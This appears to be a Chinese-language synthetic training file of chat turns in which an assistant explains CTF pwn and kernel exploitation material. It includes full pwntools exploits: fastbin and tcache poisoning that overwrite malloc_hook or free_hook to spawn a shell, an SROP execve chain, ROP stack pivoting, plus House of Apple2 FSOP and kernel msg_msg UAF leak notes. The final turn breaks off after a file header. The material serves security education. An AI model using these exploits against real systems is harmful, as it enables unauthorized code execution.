文件：`Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `allocate`
- `dump`
- `exp`
- `fill`
- `free`
- `offset_bin_main_arena`

利用主题关键词：
- heap/tcache
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x4526a`, `0x3c4b20`

训练用代码片段：
```python
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./babyheap"
babyheap = context.binary
if args['REMOTE']:
    p = remote('TARGET_IP', 7777)
else:
    p = process("./babyheap")
log.info('PID: ' + str(proc.pidof(p)[0]))

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset

offset_unsortedbin_main_arena = offset_bin_main_arena(0)

def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def fill(idx, size, content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.send(content)

def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def exp():
    # 1. leak libc base
    allocate(0x10)  # idx 0, 0x00
    allocate(0x10)  # idx 1, 0x20
    allocate(0x10)  # idx 2, 0x40
    allocate(0x10)  # idx 3, 0x60
    allocate(0x80)  # idx 4, 0x80
    # free idx 1, 2, fastbin[0]->idx1->idx2->NULL
    free(2)
    free(1)
    # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    fill(0, len(payload), payload)
    # if we want to allocate at idx4, we must set it's size as 0x21
    payload = 0x10 * 'a' + p64(0) + p64(0x21)
    fill(3, len(payload), payload)
    allocate(0x10)  # idx 1
    allocate(0x10)  # idx 2, which point to idx4's location
    # if want to free idx4 to unsorted bin, we must fix its size
    payload = 0x10 * 'a' + p64(0) + p64(0x91)
    fill(3, len(payload), payload)
    # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
    allocate(0x80)  # idx 5
    free(4)
    # as idx 2 point to idx4, just show this
    dump(2)
    p.recvuntil('Content: \n')
    unsortedbin_addr = u64(p.recv(8))
    main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
    log.success('main arena addr: ' + hex(main_arena))
    main_arena_offset = 0x3c4b20
    libc_base = main_arena - main_arena_offset
    log.success('libc base addr: ' + hex(libc_base))

    # 2. malloc to malloc_hook nearby
    # allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
    allocate(0x60)
    free(4)
    # edit idx4's fd point to fake chunk
    fake_chunk_addr = main_arena - 0x33
    fake_chunk = p64(fake_chunk_addr)
    fill(2, len(fake_chunk), fake_chunk)

    allocate(0x60)  # idx 4
    allocate(0x60)  # idx 6

    one_gadget_addr = libc_base + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    fill(6, len(payload), payload)
    # trigger malloc_hook
    allocate(0x100)
    p.interactive()

if __name__ == "__main__":
    exp()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

关键常量/偏移样例：
`0x4007f2`, `0x00000000004008d3`

训练用代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]

format=b"%16$p"
sa(b"name: \n",format)
ru(b"hello,")
leak_ebp=int(r(14),16)
success(hex(leak_ebp))

target=leak_ebp-0x60-8
leave=0x4007f2
rdi=0x00000000004008d3
sys=elf.plt.system
sh=target+32
payload=p64(rdi)+p64(sh)+p64(sys)+b"/bin/sh\x00"
payload=payload.ljust(80,b"a")+p64(target)+p64(leave)

sa("keep on !\n",payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「新版本off-by-null转heap overlapping」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 新版本off-by-null转heap overlapping

chunk 合并需要绕过如下检查：

- prev_size 和按照 prev_size 找到的 chunk 的 size 是否相等。
- unlink
  - chunksize (p) == prev_size (next_chunk (p))
  - fd->bk == bk->fd == p
  - p->fd_nextsize == NULL （绕过对 fd_nextsize 和 bk_nextsize 的双向链表检查）

思路：构造一个 fake chunk 满足上述条件，最好是不需要泄露堆地址。

难点：如何在不泄露堆地址的情况下构造满足 fd->bk == bk->fd == p 的 fake chunk 。

首先采用如下方法伪造出 fake chunk 的 fd 和 bk 。

之后利用 unsorted bin 伪造 chunk1 的 bk 。

由于 unsorted bin 是从 bk 开始取的，不能通过 unsorted bin 来修改 chunk6 的 fd ，因此这里借助 large bin 和部分覆盖来伪造 chunk6 的 fd 。

至此 fake chunk 满足 house of einherjar 条件，可以实现堆块重叠。

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path], aslr=False)

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x18)
add_chunk(1, 0x418)
add_chunk(2, 0x108)
add_chunk(3, 0x418)
add_chunk(4, 0x438)
add_chunk(5, 0x108)
add_chunk(6, 0x428)
add_chunk(7, 0x108)

delete_chunk(1)
delete_chunk(4)
delete_chunk(6)
delete_chunk(3)

add_chunk(1, 0x438)
edit_chunk(1, 'a' * 0x418 + p64(0xa91))
add_chunk(3, 0x418)
add_chunk(4, 0x428)
add_chunk(6, 0x418)

delete_chunk(6)
delete_chunk(3)
add_chunk(3, 0x418)
edit_chunk(3, 'b' * 8 + p8(0))
add_chunk(6, 0x418)
delete_chunk(6)
delete_chunk(4)
add_chunk(4, 0x9f8)
add_chunk(6, 0x428)
edit_chunk(6, p8(0))
add_chunk(8, 0x418)
add_chunk(9, 0x38)
edit_chunk(7, 'a' * 0x100 + p64(0xa90) + p8(0))
delete_chunk(4)
gdb.attach(p)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c`

分类：stack

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>

char *shell = "/bin/sh";

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("This time, no system() and NO SHELLCODE!!!\n");
    printf("What do you plan to do?\n");
    gets(buf);

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 原理

事实上只要满足目标地址存在合法的 size 域，我们可以把 chunk 分配到任意的可写内存中，比如 bss、heap、data、stack等。

```c
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
```

主要要求分配位置的大小与申请的chunk大小一致，否则会报错。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 例题

2024强网青少赛 journey_story

- 分析

反编译程序，然后修理一下伪代码，很经典的菜单题。

在free的时候存在一个uaf漏洞，堆的版本为2.31，即有tcache。

直接通过释放大堆块到 `unsortedbin` 然后直接通过 `show` 功能泄露 `libc` 地址。然后修改 `tcache` 的 `next` 指针为指向 `free_hook`，然后将它申请出来，修改为 `system` 函数的地址，之后释放一个带有 `/bin/sh` 字符串的堆块就可以 `getshell`。

- exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./pwn')
io = remote('TARGET_IP',12300)
#io = process([elf.path])
libc = ELF('./libc-2.31.so')
context(os=elf.os, arch=elf.arch, log_level='debug')

def cmd(x):
    ru(b'choice:\n')
    sl(str(x))

def add(id,size) :
    cmd(1)
    ru(b'index:\n')
    sl(str(id))
    ru(b'size:\n')
    sl(str(size))

def delete(id):
    cmd(2)
    ru(b'index:\n')
    sl(str(id))

def edit(id,size,data):
    cmd(3)
    ru(b'index:\n')
    sl(str(id))
    ru(b'length:\n')
    sl(str(size))
    ru(b'content:\n')
    sl(data)

def show(id):
    cmd(4)
    ru(b'index:\n')
    sl(str(id))

add(0,0x500)
add(1,0x20)
delete(0)
show(0)
lib_base = uu64() - 0x1ecbe0
lg("libc_base",lib_base)

free_hook = lib_base + libc.sym['__free_hook']
system_addr = lib_base + libc.sym['system']

lg("free_hook" ,free_hook)
lg("system " , system_addr)

add(2,0x60)
add(3,0x60)
delete(2) #0x3c7af2a0
delete(3) #0x3c7af310

edit(3,0x8,p64(free_hook))

add(3,0x60)

add(4,0x60)
edit(4,0x10,p64(system_addr))

edit(3,0x8,b'/bin/sh\x00')

delete(3)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「总结」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 总结

本题利用链可以概括为：

```text
UAF show -> 泄漏 heap base
UAF show unsorted chunk -> 泄漏 libc base
UAF edit tcache fd -> Safe-Linking tcache poisoning
malloc 返回 _IO_file_jumps
覆盖 _IO_file_jumps + 0x18 为 one_gadget
puts("Done") -> FILE vtable overflow -> one_gadget -> shell
```

这就是原 `exp.py` 的核心利用手法：**打 glibc 2.34 下可写 `_IO_file_jumps` 的 FILE vtable 劫持**。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Full drain returns pages to buddy」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Full drain returns pages to buddy

On SMP4 root-debug boot:

```text
initial:        active_objs=0   num_objs=0   active_slabs=0  num_slabs=0
after_alloc512: active_objs=516 num_objs=528 active_slabs=33 num_slabs=33
after_free512:  active_objs=144 num_objs=192 active_slabs=12 num_slabs=12
```

This confirms the important cross-cache precondition: freeing all once leaves stale slot pointers but drops total slabs from 33 to 12, so roughly 21 order-3 slab allocations are released back toward buddy/page allocator reuse.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「示例 1」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 示例 1

```c
int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;
}
```

我们自己编写的 my_gets 函数导致了一个 off-by-one 漏洞，原因是 for 循环的边界没有控制好导致写入多执行了一次，这也被称为栅栏错误。

维基百科：栅栏错误（有时也称为电线杆错误或者灯珠错误）是差一错误的一种。如以下问题：建造一条直栅栏（即不围圈），长 30 米、每条栅栏柱间隔 3 米，需要多少条栅栏柱？最容易想到的答案 10 是错的。这个栅栏有 10 个间隔，11 条栅栏柱。

我们使用 gdb 对程序进行调试，在进行输入前可以看到分配的两个用户区域为 16 字节的堆块：

```
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000
```

当我们执行 my_gets 进行输入之后，可以看到数据发生了溢出覆盖到下一个堆块的 `prev_size` 域（输入 'A' * 17）：

```
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2
0x602030: 0x0000000000000000 0x0000000000000000
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「如果能跨 cache reclaim」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 如果能跨 cache reclaim

如果动态验证发现可以让其他内核对象占用这块 0x800 区域，则按常规 kernel heap 思路推进：

- 优先找包含函数指针或可控长度字段的对象；
- 通过 UAF 影响目标对象；
- 配合 KASLR leak；
- 最终走 `commit_creds(prepare_kernel_cred(NULL))` 或覆盖安全关键字段。

但目前静态分析不支持直接断言这条路可行。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3. tcache poisoning to _IO_file_jumps」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 3. tcache poisoning to _IO_file_jumps
io_file_jumps = libc_base + libc.symbols["_IO_file_jumps"]
one_gadget = libc_base + 0xda864
fake_fd = ((heap_base + 0x8f0) >> 12) ^ io_file_jumps

edit(7, 8, p64(fake_fd))
add()
add()


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「关键源码片段」。
资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 关键源码片段
- **unsorted bin取出时**：
  ```c
  unsorted_chunks(av)->bk = bck;
  bck->fd = unsorted_chunks(av);
  ```
  若我们控制 `victim->bk = fake_chunk`，则执行 `fake_chunk->fd = unsorted_bin`。

- **large bin插入时**（当unsorted chunk的size大于large bin中某个chunk时）：
  ```c
  victim->bk_nextsize = fwd->bk_nextsize;
  fwd->bk_nextsize = victim;
  victim->bk_nextsize->fd_nextsize = victim;
  bck = fwd->bk;
  ```
  若控制 `fwd->bk_nextsize = fake_chunk - 0x18 - 5`，则能触发 `(fake_chunk - 0x18 - 5)->fd_nextsize = victim`，即向 `fake_chunk - 0x8` 处写入victim地址（堆地址）。
  同时 `bck = fwd->bk` 由我们控制，最终执行 `bck->fd = victim`，即向 `fake_chunk + 0x8` 处写入victim地址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「House of Apple2」。
资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## House of Apple2

glibc 2.35 下常规 hook 已经不可用，本题又只有一次任意写，所以选择 FSOP / House of Apple2。

目标是覆盖 `_IO_2_1_stdout_`，让后续菜单输出触发 wide file 相关调用链，最终调用：

```c
system(fp)
```

而 `fp` 就是 `_IO_2_1_stdout_` 的地址。只要让 FILE 结构开头是命令字符串，就能执行 shell：

```text
fake FILE 起始处 = "  sh;\x00"
```

关键布置：

```text
_flags / FILE 起始      = "  sh;\x00"
_IO_write_ptr           = 1
_chain / fake slot+0x68 = system
_lock                   = writable libc address
_wide_data              = fake_io_addr
_mode                   = 0
vtable                  = _IO_wfile_jumps - 0x180
fake_wide_data->_wide_vtable = fake_io_addr
```

其中：

```python
jumps = libc.address + 0x216f40      # _IO_wfile_jumps - 0x180
```

这个 vtable 地址仍落在 libc 的合法 IO vtable 区间内，可以绕过 `_IO_vtable_check`，并让调用链走到 wide-file 分支。由于：

```text
_wide_data = fake_io_addr
fake_wide_data->_wide_vtable = fake_io_addr
*(fake_wide_vtable + 0x68) = system
```

最终 wide vtable 调用会取到 `system`。此时第一个参数是 `fp`，而 `fp` 指向的内容以 `"  sh;"` 开头，于是执行 shell。

IO-FILE/house of apple2/2024pcb babyheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. 泄露内核基址」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 1. 泄露内核基址

1. 申请一个消息队列，只放一条 size 为 `0x400` 的消息。
2. 申请并初始化一个 `pipe_buffer`。
3. 通过 UAF 修改 `msg_msg->m_ts`。
4. 使用带 `MSG_COPY` 的 `msgrcv()` 进行越界读。
5. 从泄露数据中读取 `pipe_buffer->ops`，计算内核基址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x300`, `0x401040`, `0x401171`, `0x404800`, `0x404f00`, `0x0000000000401203`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

pop_rdi = 0x0000000000401203

bss = 0x404800
pay = b'\x00'*0x30 + flat(bss, 0x401171)
s(pay.ljust(0x300, b'\x00'))

syscall = 0x401040
#read /bin/sh
sh = 0x404800
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 59
frame.rsi = bss - 0x10
frame.rdx = 0
frame.rsp = bss - 0x40
frame.rip = syscall

pay = b"/bin/sh\x00"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)

r()
s(pay.ljust(0x300,b"\x00"))

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「地址泄露」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 地址泄露

通过修改 `msg_msg->m_ts`，可以让 `msgrcv()` 读取更多数据，从而实现最多接近一页的越界读：

- 如果单向链表只有 `msg_msg`，可以读取该 `msg_msg` 附近的数据。
- 如果单向链表中包含 `msg_msgseg`，可以读取尾部 `msg_msgseg` 附近的数据。
- 如果同时修改 `msg_msg->m_ts` 和 `msg_msg->m_list.next`，可以结合堆喷泄露其他对象的堆地址或内核地址。

常见方法是喷多个消息队列，每个队列只放一条消息。此时每个消息队列中的 `msg_msg` 会与其 `msg_queue` 组成双向循环链表。通过某个 `msg_msg` 的越界读，有概率读到其他消息队列中 `msg_msg->m_list` 字段，从而泄露对应 `msg_queue` 地址。

进一步伪造 `msg_msg->next` 后，可以沿目标结构进行读取，实现任意地址读。但需要注意，`store_msg()` 以 `seg->next == NULL` 作为结束条件，所以目标链必须最终可达一个 `NULL` 节点，且中途不能访问不可读地址，否则可能触发 kernel panic。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「无法利用的点」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 无法利用的点

`kernel_release()` 中存在释放后指针未清零的问题：

```c
int __fastcall kernel_release(inode *inode, file *filp)
{
    char **v2; // rax
    int result; // eax

    _fentry__();
    v2 = addrList;
    do
        *v2++ = 0LL;
    while (v2 != &addrList[32]);
    kfree(buffer, filp);
    result = 0;
    flags = 0;
    return result;
}
```

但 `kernel_open()` 通过 `flags` 做了限制：

```c
void kernel_open()
{
    __int64 v0; // rdi

    _fentry__();
    if (!flags) {
        v0 = kmalloc_caches[8];
        flags = 1;
        buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);
        if (buffer)
            kernel_open_cold();
    }
}
```

因此不能简单地连续两次 `open()`，再利用 `kernel_release()` 中的悬挂指针构造 `0x100` object UAF。

由于 `kernel_open()`、`kernel_release()`、`kernel_read()` 和 `kernel_write()` 都未加锁，并且 `read/write` 路径中存在类似 `copy_to_user()` 的操作：

```c
if (copy_to_user(a2, v4, v5))
    return -2LL;
```

可以考虑使用 userfaultfd 卡住当前线程，在另一个线程中调用 `kernel_release()`，从而形成 `0x100` size UAF。最初尝试用该方式结合 `timerfd_ctx` 泄露内核基址，但文件描述符关闭会被 `fput()` 延迟，直到读取结束后才真正释放，因此这种方式不可行。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目信息」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 题目信息

题目开启了 KPTI、SMAP、SMEP 等常规保护。

内核版本：

```text
/ $ uname -a
Linux (none) 5.10.102 #2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux
```

从 5.11 内核开始，非特权用户默认不能使用 userfaultfd。这道题使用的是 5.10 内核，因此仍可利用 userfaultfd。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「threads arena」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## threads arena

+ 每个进程只有一个主分配区(main_arena)，可能存在多个非主分配区(non_main_arena)：
+ x86: `2*number of cores + 1`
+ x64: `8*number of cores + 1`
+ `main_arena`使用`brk`和`mmap`申请虚拟内存
  - `mmap`分配的内存一律通过`munmap`返还
  - 只有一个heap
+ `non_main_arena`只能用`mmap`
  - 每次用`mmap`向系统批发`HEAP_MAX_SIZE`(32位1MB,64位64MB)，对象请求时再零售
  - 当前`heap`不够用，`mmap`再次申请`heap`，所以可以包含多个`heaps`


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「完整 exp」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 完整 exp

完整脚本已整理到当前目录：[`exp.py`](./exp.py)。本地测试：

```bash
printf '[FLAG_REDACTED]\n' > flag
python3 ./exp.py
```

验证输出中成功泄露地址并读出 dummy flag：

```text
[+] libc_base = 0x...
[+] heap_base = 0x...
[FLAG_REDACTED]
```

远程使用：

```bash
python3 ./exp.py --remote --host <ip> --port <port>
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache key/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache key/pwn.c`
